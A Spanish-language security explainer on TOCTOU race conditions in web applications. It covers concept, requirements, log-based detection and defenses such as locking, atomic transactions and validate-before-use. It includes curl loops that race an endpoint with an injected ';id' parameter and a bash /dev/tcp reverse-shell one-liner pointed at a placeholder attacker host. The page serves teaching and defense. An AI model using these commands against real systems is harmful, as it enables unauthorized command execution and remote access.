Race Condition (TOCTOU)
Una condición de carrera (race condition) aparece cuando dos operaciones sobre un mismo recurso se ejecutan sin sincronización y el resultado depende de cuál gane la carrera. En web, el patrón más explotable es TOCTOU (time-of-check to time-of-use): existe una ventana entre el momento en que la aplicación usa un dato y el momento en que lo valida o lo borra. Si lanzamos peticiones en paralelo, podemos colarnos en esa ventana y aprovechar el estado intermedio antes de que la comprobación lo revierta.
El caso clásico: la app escribe la entrada del usuario en un fichero, la ejecuta o la sirve, y solo después valida que era alfanumérica (borrando el fichero si no lo era). Ese orden invertido deja un instante en el que un comando inyectado ya se ha ejecutado aunque la validación vaya a rechazarlo. Como el instante es breve e impredecible, se fuerza repitiendo la petición miles de veces en paralelo, en la confianza de que una caiga dentro de la ventana:
# dispara la accion vulnerable en bucle cerrado
while true; do curl -s "http://<ip>:5000/?action=validate&name=;id" >/dev/null; done
# en paralelo, lee el estado intermedio antes de que la validacion lo borre
while true; do curl -s "http://<ip>:5000/result"; doneBasta con que una sola petición gane la carrera para que un bash -c "bash -i >& /dev/tcp/<lhost>/<lport> 0>&1" se ejecute y entable la reverse shell. La variante de escritura de fichero es análoga: si dos usuarios descargan a la vez un fichero temporal con nombre compartido, una petición puede sobrescribir el contenido de la otra y filtrar datos ajenos (con Burp Repeater enviando en paralelo se reproduce). Herramientas como el modo single-packet attack de Turbo Intruder estrechan aún más la ventana enviando decenas de peticiones en el mismo instante.
Requisitos. Debe existir un recurso compartido mutable (fichero temporal, saldo, contador, token de un solo uso) y una ventana entre comprobación y uso sin bloqueo ni transacción atómica. Cuanto más corta sea la ventana, más concurrencia hace falta; con operaciones atómicas o bloqueo, la carrera desaparece.
Cómo detectarlo. La firma en el log es una ráfaga de peticiones idénticas casi simultáneas al mismo endpoint desde una sola IP, muy por encima del ritmo humano, a menudo con un pico de errores transitorios (ficheros que aparecen y desaparecen, validaciones fallidas). Métricas de concurrencia por recurso y alertas de rate sobre endpoints sensibles (compra, canje, transferencia) delatan el patrón.
Defensa. Hacer atómica la sección crítica: bloqueos (mutex, SELECT ... FOR UPDATE), transacciones con aislamiento adecuado, restricciones únicas en base de datos e idempotencia de las operaciones sensibles (un token de un solo uso realmente consumido en la misma transacción). Validar antes de usar, nunca después, y no operar sobre ficheros temporales con nombre predecible compartido. Cuando la carrera desemboca en ejecución de comandos, la defensa se solapa con la de la inyección de comandos.